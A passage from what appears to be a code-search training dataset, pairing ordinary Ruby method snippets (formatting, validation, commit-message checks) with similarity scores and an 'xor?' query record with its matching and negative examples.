"def type_match? message\n return false if message.direction == :in && @ingoing == false\n return false if message.direction == :out && @outgoing == false\n if @options[:type]\n if @options[:type].is_a? Array\n return false unless @options[:type].include? message.type\n else\n return false unless message.type == @options[:type]\n end\n end\n if @options[:component]\n return false if message.attributes['cId'] && message.attributes['cId'] != @options[:component]\n end\n true\n end",
"def human_msg_type\n self[:msg_type].to_human\n end",
"def is_character_style?\n false\n end",
"def is_paragraph_style?\n false\n end",
"def detect_format(stream)\n # Got to look into the file to see\n if stream.is_a?(IO) || stream.is_a?(StringIO)\n stream.rewind\n string = stream.read(1000)\n stream.rewind\n else\n string = stream.to_s\n end\n case string\n when /<\\w+:RDF/ then :rdfxml\n when /<RDF/ then :rdfxml\n when /<html/i then :rdfa\n when /@prefix/i then :n3\n else :n3\n end\nend",
"def correct_format?\n\t\t\tvalid = true\n\n\t\t\tif self.color.kind_of?(String)\n\t\t\t\tvalid = !!CIELab.regular_expression.match(self.color)\n\t\t\tend\n\n\t\t\tvalid && self.l.between?(0, 100) && self.a.between?(-128, 128) && self.b.between?(-128, 128)\n\t\tend",
"def version_style\n version_warnings[0]\n end",
"def parse_str_fmt(fmt)\n # We parse the more complex formatting constructs first, and after each\n # parse, we remove the matched construct from fmt. At the end, any\n # remaining characters in fmt should be invalid.\n fmt_hash = {}\n if fmt =~ /c\\[(#{CLR_RE})(\\.(#{CLR_RE}))?\\]/\n fmt_hash[:color] = $1 unless $1.blank?\n fmt_hash[:bgcolor] = $3 unless $3.blank?\n validate_color(fmt_hash[:color])\n validate_color(fmt_hash[:bgcolor])\n fmt = fmt.sub($&, '')\n end\n # Nil formatting can apply to strings as well\n nil_hash, fmt = parse_nil_fmt(fmt)\n fmt_hash = fmt_hash.merge(nil_hash)\n if fmt =~ /u/\n fmt_hash[:case] = :lower\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /U/\n fmt_hash[:case] = :upper\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /t/\n fmt_hash[:case] = :title\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /(~\\s*)?B/\n fmt_hash[:bold] = !$1\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /(~\\s*)?I/\n fmt_hash[:italic] = !$1\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /R/\n fmt_hash[:alignment] = :right\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /C/\n fmt_hash[:alignment] = :center\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /L/\n fmt_hash[:alignment] = :left\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /(~\\s*)?_/\n fmt_hash[:underline] = !$1\n fmt = fmt.sub($&, '')\n end\n if fmt =~ /(~\\s*)?\\*/\n fmt_hash[:blink] = !$1\n fmt = fmt.sub($&, '')\n end\n [fmt_hash, fmt]\n end",
"def style(string, type)\n raise \"Type '#{type}' unknown: must be one of \" + TYPES.map{|e| \":#{e}\"}.join(', ') if\n not TYPES.include?(type)\n style = eval(\"@#{type}_style\")\n foreground = eval(\"@#{type}_foreground\")\n background = eval(\"@#{type}_background\")\n # if no style nor colors, return raw string\n return string if not foreground and not background and not style\n # insert style and colors in string\n colorized = \"\\e[\"\n colorized << \"#{STYLE_CODES[style]};\" if style\n colorized << \"#{FOREGROUND_COLOR_CODES[foreground]};\" if foreground\n colorized << \"#{BACKGROUND_COLOR_CODES[background]};\" if background\n colorized = colorized[0..-2]\n colorized << \"m#{string}\\e[#{STYLE_CODES[:reset]}m\"\n return colorized\n end",
"def conventional?\n self.syntax = :invalid\n if self.tag\n return false unless self.mailbox =~ CONVENTIONAL_MAILBOX_REGEX &&\n self.tag =~ CONVENTIONAL_TAG_REGEX\n else\n return false unless self.local =~ CONVENTIONAL_MAILBOX_REGEX\n end\n self.valid_size? or return false\n self.valid_encoding? or return false\n self.syntax = :conventional\n true\n end",
"def style_conversion; end",
"def extract_messages\n parse do |part|\n case part[:type]\n when :empty_line\n # ignore\n when :paragraph\n yield(part)\n end\n end\n end",
"def compute_formatting_span_validation_rule(p_attrs, fspan, validation_rules)\n # Start with most specific (based on :element_type, :paragraph_class, and fspan type)\n r = case p_attrs[:type]\n when :header\n # No classes to consider\n validation_rules.dig(:paragraph_class, :header, fspan)\n when :hr\n # Nothing to do\n :none\n when :p\n # Look for paragraph classes, then fspan type\n para_level_rules = p_attrs[:paragraph_classes].map { |p_class|\n validation_rules.dig(:paragraph_class, :p, p_class.to_sym)\n }.compact.first\n case para_level_rules\n when Symbol\n # Return symbol as is\n para_level_rules\n when Hash\n # Look for fspan type\n para_level_rules[fspan]\n when nil\n # Not found, return nil\n nil\n else\n raise \"Handle this: #{ para_level_rules.inspect }\"\n end\n else\n raise \"Handle this: #{ p_attrs.inspect }\"\n end\n # Then try fspan type\n r ||= validation_rules.dig(:formatting_span_type, fspan)\n # Then try language default\n r ||= validation_rules[:language]\n if r.nil?\n raise \"No language default validation rule given! #{ validation_rules.inspect }\"\n end\n r\n end",
"def message_template; end",
"def parse_incoming_message(message, user)\n winning_team_id, score = message.split(\",\")\n if !winning_team_id || !score\n send_message(\"Invalid format detected. Valid format: #{user_pick_format}.\" +\n \" Valid teams: #{valid_teams_pretty}\")\n return\n end\n\n if !Team.find(winning_team_id)\n send_message(\n \"Invalid Team ID for this pool. Valid teams: #{valid_teams_pretty}\",\n user,\n )\n return\n end\n\n home_team_score, away_team_score = score.split(\"-\").map(&:strip)\n if !home_team_score || !away_team_score\n send_message(\"Invalid Score Format detected. The score should have the winning\" +\n \" teams total first, and the losing teams second, separated by a dash.\")\n return\n end\n end",
"def style_for(char)\n return '' if char.style == @style\n\n @style = char.style\n @style.to_s\n end",
"def select_severity_feeling_in_words(object)\n case object.severity\n when nil then \"not sure\".t\n else object.severity.feeling\n end\n end",
"def isMyMessage(message)\r\n return message[:type] == :Sent\r\n end",
"def check_message_format\n missed_revs = `git rev-list #{$oldrev}..#{$newrev}`.split(\"\\n\")\n missed_revs.each do |rev|\n message = `git cat-file commit #{rev} | sed '1,/^$/d'`\n if !$regex.match(message)\n puts \"[POLICY] Your message is not formatted correctly\"\n puts \"\\n\\tRefused message: #{message}\"\n puts \"\\nYour commit message should absolutely reference the issue number in redmine\"\n puts \"\\n\\tYou should use one of the below referencing keywords or fixing keywords\"\n puts \"\\n\\tReferencing keywords:\"\n puts \"\\t\\trefs #XXX\"\n puts \"\\t\\treferences #XXX\"\n puts \"\\t\\tIssueID #XXX\"\n puts \"\\n\\tFixing keywords:\"\n puts \"\\t\\tfixes #XXX\"\n puts \"\\t\\tcloses #XXX\"\n puts \"\\n\\treplace XXX with the issue's number.\"\n puts \"\\n\\tN.B: If the current commit is not related to any issue (which is usually a bad idea)\"\n puts \"\\tYou can use the MISC: keyword to bypass referencing an issue as follows.\"\n puts \"\\n\\t\\tMISC: Commit message\"\n puts \"\\n\\tN.B: There's a whitespace between MISC: and the commit message.\"\n puts \"\"\n exit 1\n end\n end\nend",
"def markup_format(message)\n # Bold\n message.gsub!(/[*](.*?)[*]/) do\n %[<b>#{Regexp.last_match(1)}</b>]\n end\n\n # Italic\n # message.gsub!(/_(.*?)_/) do\n # %(<em>#{Regexp.last_match(1)}</em>)\n # end\n\n # Strike\n message.gsub!(/~(.*?)~/) do\n %[<strike>#{Regexp.last_match(1)}</strike>]\n end\n\n # Code\n message.gsub(/`(.*?)`/) do\n %[<code>#{Regexp.last_match(1)}</code>]\n end\n end",
"def create_format_method\n case @style\n when :json; Parseable.create_json_format_method(self)\n when :yaml; Parseable.create_yaml_format_method(self)\n else raise ArgumentError, \"unknown format style '#@style'\" end\n end",
"def get_message_template\n return @msg_st.get_instance_of\n end",
"def invalid_style?(style)\n return true unless STYLES.include?(style)\n end",
"def error_style(error)\n red_style(error)\nend",
"def rmq_style_applied\n on_styled\n end",
"def header_style(header); end",
"def determine_status(msg, user = msg.user)\n return \"\" unless msg.channel # This is nil for leaving users\n return \"\" unless user # server-side NOTICEs\n\n user = user.name if user.kind_of?(Cinch::User)\n\n if user == bot.nick\n \"selfbot\"\n elsif msg.channel.opped?(user)\n \"opped\"\n elsif msg.channel.half_opped?(user)\n \"halfopped\"\n elsif msg.channel.voiced?(user)\n \"voiced\"\n else\n \"\"\n end\n end",
"def appearance\n return 'text-muted' if incomplete? || cancelled?\n return nil if concluded?\n return 'text-danger' if current?\n fully_shipped? ? 'text-warning' : 'warning text-warning'\n end",
"def success_style(success)\n green_style(success)\nend",
"def get_citation_style(style)\n style = style.to_s.downcase\n Array.wrap(self['eds_citation_styles']).find { |e|\n return e['data'] if e && e['data'].present? && (e['id'] == style)\n }\n end",
"def check_format_rules(line_number, line)\n errors = []\n unless line_number > 0\n conventions = ['feat', 'fix', 'build', 'chore', 'ci', 'docs', 'style', 'refactor', 'perf', 'test']\n conventional_commit_conventions = conventions.map{|x| Regexp.new '(^' + x + ')' + '(\\(.*\\))?!?: [\\w+\\D\\-\\d+]'}\n conventional_commit_check = conventional_commit_conventions.map{|x| line.match(x)}.compact\n if conventional_commit_check.empty?\n unless line.include?('HOTFIX')\n errors << \"\\tError: Your custom commit doesn't seem like following conventional commit rules.\"\n errors << \"\\tCheck https://www.conventionalcommits.org\"\n end\n end\n errors << \"\\tError: Your subject contains #{line.split(':')[1].length} characters. Subject should be less than 50 characters\" if line.split(']')[1]&.length.to_i > 50\n errors << \"\\tError: Commit message subject should start in Capital.\" if line.split(']')[1] && line.split(']')[1].lstrip[0] == line.split(']')[1].lstrip[0].downcase\n end\n return errors\nend",
"def GetMessages(w, e, m, ynm)\n richtext = \"\"\n\n if w\n # translators: warnings summary header\n richtext = Ops.add(\n Ops.add(Ops.add(richtext, \"<P><B>\"), _(\"Warning:\")),\n \"</B><BR>\"\n )\n\n Builtins.foreach(@warnings) do |s|\n strs = Builtins.splitstring(s, \"\\n\")\n Builtins.foreach(strs) do |line|\n richtext = Ops.add(Ops.add(richtext, line), \"<BR>\")\n end\n end \n\n\n richtext = Ops.add(richtext, \"</P>\")\n end\n\n if e\n # translators: errors summary header\n richtext = Ops.add(\n Ops.add(Ops.add(richtext, \"<P><B>\"), _(\"Error:\")),\n \"</B><BR>\"\n )\n\n Builtins.foreach(@errors) do |s|\n strs = Builtins.splitstring(s, \"\\n\")\n Builtins.foreach(strs) do |line|\n richtext = Ops.add(Ops.add(richtext, line), \"<BR>\")\n end\n end \n\n\n richtext = Ops.add(richtext, \"</P>\")\n end\n\n if m\n # translators: message summary header\n richtext = Ops.add(\n Ops.add(Ops.add(richtext, \"<P><B>\"), _(\"Message:\")),\n \"</B><BR>\"\n )\n\n Builtins.foreach(@messages) do |s|\n strs = Builtins.splitstring(s, \"\\n\")\n Builtins.foreach(strs) do |line|\n richtext = Ops.add(Ops.add(richtext, line), \"<BR>\")\n end\n end \n\n\n richtext = Ops.add(richtext, \"</P>\")\n end\n\n if ynm\n # translators: message summary header\n richtext = Ops.add(\n Ops.add(Ops.add(richtext, \"<P><B>\"), _(\"Message:\")),\n \"</B><BR>\"\n )\n\n Builtins.foreach(@yesno_messages) do |s|\n strs = Builtins.splitstring(s, \"\\n\")\n Builtins.foreach(strs) do |line|\n richtext = Ops.add(Ops.add(richtext, line), \"<BR>\")\n end\n end \n\n\n richtext = Ops.add(richtext, \"</P>\")\n end\n richtext\n end",
"def defined_style_conversions; end",
"def get_basic_style\n (\"#{role} #{$aod_current_cell_style[$aod_tl]} #{$aod_current_list_item_style[$aod_ll]}\").strip\n end",
"def prepare_message\n case self.option_types\n when \"quick replies\"\n self.to_message_with_quick_replies\n when \"buttons\"\n self.to_message_with_buttons\n when \"templates\"\n self.to_message_with_templates\n when \"none\"\n self.to_simple_message\n end\n end",
"def tokenizer_relay_header_style\n TokenExtractor.new(\n :style,\n /(?<=\\d\\s)\\s*(stile|mi|sl|mx)/i,\n /\\s+(-\\s+cat|masch|femm)/i\n )\n end",
"def pure_html_message?\n message.content_type&.include?('text/html')\n end",
"def styles\n if position == 1 || position == 2\n { :medium => \"175x150>\" }\n elsif position == 3\n { :medium => \"350x150>\" } \n elsif position == 4\n { :medium => \"350x300>\" } \n else\n { :medium => \"175x150>\" }\n end\n end",
"def format_message(message)\n case message\n when Exception\n format_exception(message)\n when String\n format_string(message)\n else\n format_generic_object(message)\n end\n end",
"def display_status\n if is_incoming_message?\n status = self.calculated_state\n if !status.nil?\n if status == 'waiting_response'\n return \"Acknowledgement\"\n elsif status == 'waiting_clarification'\n return \"Clarification required\"\n elsif status == 'gone_postal'\n return \"Handled by post\"\n elsif status == 'not_held'\n return \"Information not held\"\n elsif status == 'rejected'\n return \"Rejection\"\n elsif status == 'partially_successful'\n return \"Some information sent\"\n elsif status == 'successful'\n return \"All information sent\"\n elsif status == 'internal_review'\n return \"Internal review acknowledgement\"\n elsif status == 'user_withdrawn'\n return \"Withdrawn by requester\"\n elsif status == 'error_message'\n return \"Delivery error\"\n elsif status == 'requires_admin'\n return \"Unusual response\"\n end\n raise \"unknown status \" + status\n end\n return \"Response\"\n end\n\n if is_outgoing_message?\n status = self.calculated_state\n if !status.nil?\n if status == 'internal_review'\n return \"Internal review request\"\n end\n if status == 'waiting_response'\n return \"Clarification\"\n end\n raise \"unknown status \" + status\n end\n return \"Follow up\"\n end\n\n raise \"display_status only works for incoming and outgoing messages right now\"\n end",
"def validate_presence_of_paragraph_style(kd_el, xml_node)\n if 'ParagraphStyle/$ID/[No paragraph style]' == xml_node['AppliedParagraphStyle']\n @validation_errors << ::Repositext::Validation::Reportable.error(\n {\n filename: @validation_file_descriptor,\n line: xml_node.line,\n context: sprintf(\"story %5s\", story_name_for_xml_node(xml_node)),\n },\n [\n 'Invalid paragraph style',\n \"'ParagraphStyle/$ID/[No paragraph style]'\"\n ]\n )\n end\n end",
"def msg(msgObj)\r\n\r\n raise \"Bad argument\" if (nil == msgObj)\r\n\r\n isCondition = false\r\n isException = false\r\n\r\n msgTxt = cleanMsgText(msgObj.msg)\r\n msgTag = \"message\"\r\n msgType = \"\"\r\n # Determine message type\r\n case msgObj.type\r\n when 'Condition'\r\n isCondition = true\r\n msgTag = \"condition\"\r\n\r\n when 'Exceptions'\r\n msgType += \"exception\"\r\n isException = true\r\n\r\n when 'Observation'\r\n msgType += \"observation\"\r\n\r\n when 'Findings'\r\n msgType += \"findings\"\r\n\r\n when 'Credit'\r\n msgType += \"credit\"\r\n\r\n end # case msgObj.type\r\n\r\n\r\n if (isCondition) # Handle condition messages\r\n\r\n case msgObj.category # Handle condition message category type\r\n when '1'\r\n msgType += \"asset\"\r\n\r\n when '2'\r\n msgType += \"credit\"\r\n\r\n when '3'\r\n msgType += \"income\"\r\n\r\n when '4'\r\n msgType += \"property\"\r\n\r\n when '5'\r\n msgType += \"purchase\"\r\n\r\n when '6'\r\n msgType += \"title\"\r\n\r\n else\r\n msgType += \" asset\"\r\n\r\n end # case category\r\n\r\n\r\n\r\n case msgObj.priorTo # Handle condition message priorTo type\r\n when '1'\r\n msgType += \", docs\"\r\n\r\n when '2'\r\n msgType += \", funding\"\r\n\r\n when '3'\r\n msgType += \", approval\"\r\n\r\n else\r\n msgType += \", docs\"\r\n\r\n end # case priorTo\r\n\r\n end # if isCondition\r\n\r\n\r\n\r\n\r\n msgout = <<EOF\r\n #{msgTag}(#{msgType}, \"#{msgTxt}\");\r\nEOF\r\n\r\n return msgout\r\n\r\n end",
"def style!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n\n type = STYLE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 359:8: 'style'\n match( \"style\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n end"
] |
[
"0.61877704",
"0.61877704",
"0.61877704",
"0.58322054",
"0.58322054",
"0.58322054",
"0.57173175",
"0.57049656",
"0.56748456",
"0.5645307",
"0.56434464",
"0.5622245",
"0.558414",
"0.556531",
"0.5549686",
"0.5506054",
"0.5479458",
"0.547809",
"0.5473458",
"0.54372585",
"0.5422418",
"0.54142624",
"0.5336333",
"0.53298205",
"0.5308326",
"0.5306445",
"0.53027874",
"0.52997065",
"0.5289563",
"0.5278114",
"0.5254798",
"0.5254172",
"0.52442825",
"0.52442825",
"0.5238156",
"0.5234175",
"0.5231845",
"0.5219518",
"0.5212821",
"0.5210518",
"0.51975834",
"0.51862955",
"0.51763654",
"0.5172839",
"0.51627874",
"0.51545686",
"0.51502657",
"0.51362145",
"0.5132348",
"0.5126187",
"0.5124273",
"0.5121069",
"0.5115089",
"0.511362",
"0.51135826",
"0.510917",
"0.5102651",
"0.50706816",
"0.5068868",
"0.5067214",
"0.50660497",
"0.5047829",
"0.5037243",
"0.5032644",
"0.5030153",
"0.5026476",
"0.5020814",
"0.5004098",
"0.49781165",
"0.4974665",
"0.4971091",
"0.49675322",
"0.4966758",
"0.49666363",
"0.49630913",
"0.49622023",
"0.49613386",
"0.49588898",
"0.49528652",
"0.49515525",
"0.49505663",
"0.49369583",
"0.493249",
"0.49324477",
"0.493196",
"0.4925217",
"0.49141264",
"0.49130142",
"0.49049452",
"0.4904596",
"0.49017188",
"0.4899258",
"0.48938066",
"0.48918343",
"0.48885337",
"0.48849806",
"0.48809198",
"0.48750487",
"0.48741025",
"0.487019"
] |
0.53694737
|
22
|
true if exactly one argument is truthy false otherwise Examples: xor?(5.even?, 4.even?) == true xor?(5.odd?, 4.odd?) == true xor?(5.odd?, 4.even?) == false xor?(5.even?, 4.odd?) == false Data Structure: No special data structure, just conditionals within method Algorithm: 1) evaluate truthiness of arguments 2) if truthiness of arguments is the same, return false 3) if truthiness of arguments are not the same, return true
|
def xor?(arg1, arg2)
if !!arg1 == !!arg2
false
else
true
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def xor?(first_arg, second_arg)\n return true if first_arg == false && second_arg == true\n return true if first_arg == true && second_arg == false\nend",
"def xor?(arg1, arg2)\n if arg1 && !arg2 || !arg1 && arg2\n true\n else\n false\n end\nend",
"def xor?(arg_1, arg_2)\n if (arg_1 && arg_2) \n return false\n elsif (arg_1 || arg_2)\n return true\n else\n return false\n end\nend",
"def xor?(arg1, arg2)\n if arg1 && !arg2 ||\n !arg1 && arg2\n return true\n else\n return false\n end\nend",
"def xor?(arg1, arg2)\r\n (arg1 || arg2) == true && (arg1 && arg2) == false\r\nend",
"def xor?(arg1, arg2)\n if arg1 && arg2\n false\n elsif !arg1 && !arg2\n false\n else \n true\n end\nend",
"def xor?(arg1, arg2)\n if arg1 && !arg2\n true\n elsif !arg1 && arg2\n true\n else \n false\n end\nend",
"def xor?(arg1, arg2)\r\n (arg1 && !arg2) || (arg2 && !arg1)\r\nend",
"def xor?(arg1, arg2)\n return true if arg1 && !arg2\n return true if arg2 && !arg1\n false # necessary because previous line returns nil (not false) if condition falsey\nend",
"def xor?(arg1, arg2)\n (arg1 && !arg2) || (arg2 && !arg1) ? true : false\nend",
"def xor?(argument_1, argument_2)\n if argument_1\n if argument_2 == false\n return true\n else\n return false\n end\n elsif argument_2\n if argument_1 == false\n return true\n else \n return false\n end\n else\n return false\n end\nend",
"def xor?(parameter1, parameter2)\r\n return true if parameter1 == true && parameter2 == false\r\n return true if parameter1 == false && parameter2 == true\r\n return false if parameter1 == false && parameter2 == false\r\n return false if parameter1 == true && parameter2 == true\r\nend",
"def xor?(one, two)\n if one && two\n false\n elsif one || two\n true\n else\n false\n end\nend",
"def xor?(one, two)\n return true if one && !two\n return true if two && !one\n\n false\nend",
"def xor?(one, two)\n (one && !two) || (two && !one)\nend",
"def xor2?(arg1, arg2)\n (arg1 && !arg2) || (!arg1 && arg2)\nend",
"def xor?(arg1, arg2)\r\n\r\nend",
"def xor?(one, two)\n if ((one == true) && (two == false))\n true\n elsif ((one == false) && (two == true))\n true\n else\n false\n end\nend",
"def xor?(first, second)\n (first && !second) || (!first && second)\nend",
"def xor?(op_1, op_2)\n (op_1 == true && op_2 == false) || (op_1 == false && op_2 == true) \nend",
"def xor?(num1, num2)\n\n # If num1 is true and num2 is false, we're still going to return true\n return true if num1 && !num2\n # If num2 is true and num1 is false, we're still going to return true\n return true if num2 && !num1\nend",
"def xor?(value1, value2)\n return true if value1 && !value2\n return true if value2 && !value1\n\n false\nend",
"def xor?(arg1, arg2)\n if arg1\n if arg2\n false\n else\n true\n end\n else\nif arg2\n true\n else\n false\n end\n end\nend",
"def xor?(value1, value2)\n return true if value1 && !value2\n return true if value2 && !value1\n false\nend",
"def xor?(a, b)\n if (a == true && b == false) || (a == false && b == true)\n true\n end\nend",
"def xor?(expression1, expression2)\n if expression1 == true && expression2 == true\n false\n elsif expression1 == false && expression2 == false\n false\n else\n true\n end\nend",
"def xor?(x, y)\n (x || !y) || (y && !x)\nend",
"def xor?(value1, value2)\n (value1 && !value2) || (value2 && !value1)\nend",
"def xor?(value1, value2)\n (value1 && !value2) || (value2 && !value1)\nend",
"def xor?(x, y)\n (x && !y) || (!x && y)\nend",
"def xor?(value1, value2)\n (value1 || value2) && !(value1 && value2)\nend",
"def xor?(num1, num2)\n (num1 && num2) || (!num2 && !num1) ? false : true\nend",
"def xor?(condition1, condition2)\n if condition1 \n return true if !condition2\n elsif condition2\n return true if !condition1\n end\n false\nend",
"def xor?(input1, input2)\n if input1 && input2\n false\n elsif \n input1 || input2\n true\n else \n false\n end \nend",
"def xor?(a,b)\n if a && !b\n true\n elsif !a && b\n true\n else\n false\n end\nend",
"def xor?(num1,num2)\n if num1 == true && num2 == false\n return true\n elsif num1 == false && num2 == true\n return true\n else\n return false\n end\nend",
"def xor?(this, that)\n (!this && that) || (this && !that)\nend",
"def xor(a,b)\n if (a == true && b == true) || (a == false && b == false)\n return false\n else\n return true\n end\nend",
"def xor?(x, y)\n return true if x && !y\n return true if y && !x\n false\nend",
"def xor?(x, y)\n return true if x && !y\n return true if y && !x\n false\nend",
"def xor?(a, b)\n return true if a && !b\n return true if !a && b\n false\nend",
"def xor?(boolean_one, boolean_two)\n if boolean_one && boolean_two\n false\n elsif boolean_one == false && boolean_two == false\n false\n else\n true\n end\nend",
"def xor?(bool1, bool2)\n (bool1 && !bool2) || (!bool1 && bool2) # (I think that would work because by definition they are mutually exclusive conditions)\nend",
"def xor?(value1, value2)\r\n !!((value1 && !value2) || (value2 && !value1)) # !! forces the return to be a boolean\r\nend",
"def xor?(condition1, condition2)\n (condition1 || condition2) && not(condition1 && condition2)\nend",
"def xor?(input1, input2)\n if input1 == true && input2 == false # => false, true, false, false\n true # => true\n elsif input1 == false && input2 == true # => true, false, false\n true # => true\n else\n false # => false, false\n end # => true, true, false, false\nend",
"def xor?(boolean1, boolean2)\n boolean1 != boolean2\nend",
"def xor?(bool_1, bool_2)\n bool_1 == bool_2 ? false : bool_1 || bool_2\nend",
"def xor?(op1, op2)\n (op1 || op2) && !(op1 && op2)\nend",
"def xor?(value1, value2)\n !!((value1 && !value2) || (value2 && !value1))\nend",
"def xor(argument1, argument2)\n argument1 && !argument2 || !argument1 && argument2\n end",
"def xor?(bool1, bool2)\n !(bool1 && bool2) && (bool1 || bool2)\nend",
"def xor?(boolean1, boolean2)\n (boolean1 || boolean2) && !(boolean1 && boolean2)\nend",
"def xor?(bool1, bool2)\n (bool1 || bool2) && !(bool1 && bool2)\nend",
"def xor?(bool1, bool2)\n if (bool1 == true && bool2 == false) || (bool1 == false && bool2 == true)\n true\n else\n false\n end\nend",
"def xor?(bool1, bool2)\n !!bool1 != !!bool2\nend",
"def xor?(condition1, condition2)\n condition1 ? !condition2 : !!condition2\nend",
"def p1(x, y, z)\n # x or y\n xor(x, y)\nend",
"def test_xor\n assert_false F ^ F, 'F ^ F'\n assert_maybe F ^ M, 'F ^ M'\n assert_true F ^ T, 'F ^ T'\n\n assert_maybe M ^ F, 'M ^ F'\n assert_maybe M ^ M, 'M ^ M'\n assert_maybe M ^ T, 'M ^ T'\n\n assert_true T ^ F, 'T ^ F'\n assert_maybe T ^ M, 'T ^ M'\n assert_false T ^ T, 'T ^ T'\n end",
"def test_TrueClass_InstanceMethods_ExclusiveOr\n\t\tassert_equal(false, true ^ true)\n\t\tassert_equal(true, true ^ false)\n\t\tassert_equal(true, false ^ true)\n\tend",
"def OF_CHECKING(a,b,sum) \n\tAND(XOR(sum,a),NOT(XOR(a,b)))\nend",
"def truthiness(x, y)\r\n puts \"AND: \", x && y\r\n puts \"OR: \", x || y\r\n puts \"!AND: \", !(x && y)\r\n puts \"!OR: \", !(x || y)\r\nend",
"def true_xor_false?\n#\t\tself.include?('true') ^ self.include?('false') ^\n#\t\t\tself.include?(true) ^ self.include?(false)\n\t\tcontains_true = contains_false = false\n\t\teach {|v|\n#\t\t\t( v.to_boolean ) ? contains_true = true : contains_false = true\n\t\t\teval(\"contains_#{v.to_boolean}=true\")\n\t\t}\n\t\tcontains_true ^ contains_false\n\tend",
"def torf(n)\n if n==0 or n==false\n return false\n else\n return true\n end\nend",
"def exclusive_or(num1, num2)\r\n\t# your code here\r\nend",
"def all_same?(first_operand, arglist)\n if arglist.empty?\n boolean(true)\n else\n first_value = first_operand.value\n all_equal = arglist.all? { |elem| first_value == elem.value }\n boolean(all_equal)\n end\n end",
"def lovefunc(flower1, flower2)\n (flower1.even? || flower2.even?) && (flower1.odd? || flower2.odd?)\nend",
"def exclusive_or (p,q)\n p ^ q\nend",
"def xor(x, y)\n\nend",
"def one?(parameter, other)\n (send(parameter)) ^ (other.send(parameter))\n end",
"def inp(x, *a)\n a.each {|v| return true if x === v}\n return false\nend",
"def bit_odd?(n)\n n&1 == 1\nend",
"def lovefunc(flower1, flower2)\n flower1Odd = flower1.odd?\n flower2Odd = flower2.odd?\n flower1Even = flower1.even?\n flower2Even = flower2.even?\n \n firstOddSecondEven = flower1Odd && flower2Even\n firstEvenSecondOdd = flower1Even && flower2Odd\n\n inLove = firstOddSecondEven || firstEvenSecondOdd\n \n return inLove\nend",
"def true_or_false\n example = (\n (true || false ) == true\n # I replaced the empty string on the right with true\n )\n\n q1 = (\n (true && true || false) == ''\n )\n\n q2 = (\n (true && false || false) == ''\n )\n\n q3 = (\n (true || false || false) == ''\n )\n\n q4 = (\n (true && (false || false)) == ''\n )\n\n q5 = (\n (false && (true || false)) == ''\n )\n\n q6 = (\n (true && false || false) == ''\n )\n q7 = (\n ((false || false || true) && (true && true && false)) == ''\n )\n\n q8 = (\n ((false || false) && (false && false) || (true && false) || (false && true)) == ''\n )\n\n q1 && q2 && q3 && q4 && q5 && q6 && q7 && q8\nend",
"def op_xor(t_sym, f_sym, num)\n chars = num.split('')\n num_of_trues = 0\n chars.each do |c|\n if c == \"1\"\n num_of_trues += 1\n end\n end\n\n if num_of_trues.to_i.even?\n return f_sym\n else\n return t_sym\n end\nend",
"def is_divisible(n ,*arg)\n arg.all? { |x| n % x == 0 }\nend",
"def xor(e1, e2)\n eval_ex(e1) ^ eval_ex(e2)\n end",
"def xor_select(arr, prc_1, prc_2)\n new_arr = []\n\n arr.each do |ele|\n if prc_1.call(ele) && !prc_2.call(ele) || !prc_1.call(ele) && prc_2.call(ele)\n new_arr << ele\n end\n end\n\n new_arr\nend",
"def either_only(number)\r\n if (number % 3 == 0 || number % 5 == 0) && !(number % 3 == 0 && number % 5 == 0)\r\n return true\r\n else\r\n return false\r\n end\r\nend",
"def some_odd(numbers)\n # Your code goes here\n return numbers.any? {|a| a % 2 == 1}\n end",
"def xor(a,b)\n (a | b) - (a & b)\n end",
"def curried?\n !curry_args.empty?\n end",
"def is_also_odd?(param_integer)\n param_integer % 2 > 0\nend",
"def equilateral?(a, b, c)\n a == b && b == c\nend",
"def is_odd?(input)\n input % 2 != 0 # => true\nend",
"def odd?\n !even?\n end",
"def is_odd(x)\n # Use the logical results provided to you by Ruby already..\n x % 2 != 0\nend",
"def xor_a\n end",
"def xor(*args)\n args.inject(self, :^)\n end",
"def is_divisible(n,x,y)\n #divide n by x\n #if that equals 0, try dividing it by y\n #if that also equals 0, then n is divisible by both numbers\n #else, it is not\n if try_with_x(n,x) && try_with_y(n,y)\n true\n else\n false\n end\nend",
"def xor(*others)\n self.class.xor(self, *others)\n end",
"def triplet_check(a,b,c)\n\tif a**2+b**2 == c**2\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend",
"def odd?\n return !even?\n end",
"def logical(input)\n if @invert\n if input == 0\n return true\n else\n return false\n end\n else\n if input == 0\n return false\n else\n return true\n end\n end\n end",
"def is_odd?(n)\n n.abs % 2 != 0\nend",
"def is_odd?(num)\n # return false if num.zero?\n # num *= -1 if num < 0\n !(num % 2).zero?\n # !(num.remainder(2).zero?)\nend",
"def divisible_by_mult?(number, *args)\n args.all? { |arg| divisible_by(number, arg) }\nend",
"def lovefunc(flower1, flower2)\n (flower1 + flower2).odd?\nend",
"def is_triplet(n1,n2,n3)\n n1**2 + n2**2 == n3**2 or n1**2 + n3**2 == n2**2 or n2**2 + n3**2 == n1**2\nend",
"def either_2_4(list)\n (list.size - 1).times do |i|\n if list[i] = 2 && list[i + 1] = 2 && list[i] = 4 && list[i + 1] = 4\n return false\n end\n\n if list[i] = 2 && list[i + 1] = 2 ^ list[i] = 4 && list[i + 1] = 4\n return true\n end\n end\n\n return false\n\nend"
] |
[
"0.845171",
"0.83031994",
"0.83024937",
"0.82964444",
"0.8293093",
"0.8280611",
"0.82712376",
"0.82703143",
"0.8270063",
"0.82563597",
"0.8251475",
"0.8105169",
"0.7953976",
"0.79430175",
"0.793468",
"0.7900092",
"0.7895292",
"0.7878323",
"0.7845143",
"0.784474",
"0.78322655",
"0.7820057",
"0.7795114",
"0.7774383",
"0.7754995",
"0.7746705",
"0.7742504",
"0.7739909",
"0.7739909",
"0.7733304",
